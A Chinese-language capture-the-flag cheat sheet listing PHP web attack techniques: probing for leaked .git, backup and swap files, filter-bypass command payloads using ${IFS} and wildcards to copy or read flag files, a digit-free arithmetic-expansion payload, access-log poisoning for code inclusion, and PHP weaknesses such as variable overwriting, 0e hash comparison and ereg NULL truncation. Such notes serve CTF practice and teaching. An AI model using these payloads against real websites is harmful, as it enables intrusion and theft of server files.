信息泄露
- url/.git/index.php
- url/www.zip
- url/.siv/
- url/index.php.swp
- url/index.php.bak
- url/.hg/
无参rce
首先总结一下读取flag.php的操作
cat/tac/system/nl/show_source/echo+file_get_contents/var_dump(scandir(‘.’));(扫描目录并回显)/highlight_file
文件复制名法:cp${IFS}/fla?${IFS}/var/www/html/a.txt||ls 然后url/a.txt (当然也可以试试移动法)
PHP几种伪协议,详见我的另一篇文章
过滤字母数字,没过滤 .和?
可以考虑远程文件上传,利用PHP特性,抓包来传递参数
过滤字母数字,.和?
可以利用PHP的特性:输出后自加再取反
原理是:${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
注意的是:${_}会输出上一次的执行结果
/?c=$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(()))))))) 即C=36
日志包含法
先再UA代理那里改一下: 然后url/?1=var/log/nginx/access.log
最后post传参 参数=include($_GET[1]);&a=要执行的命令
输出所有变量法(POST)
include(‘flag.php’);var_dump(get_defined_vars()); 也可能是根目录的/flag.txt
include(‘flag.php’);echo $flag;
incldue(‘/flag.txt’);
PHP特性
运算符顺序
&& > || > = > and > or
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
所以以下判断只要v1是数字,即符合语法,跟v2,v3都无关!
PHP变量覆盖
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.
哈希值相等判断
数组绕过,数值相等绕过,以及0e开头哈希值相等绕过!
ereg漏洞
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
Exception 异常处理类
FilesystemIterator 获取指定目录下的所有文件
可以查看当前目录的第一个文件,不带..或者.表示上一级和当前目录的文件!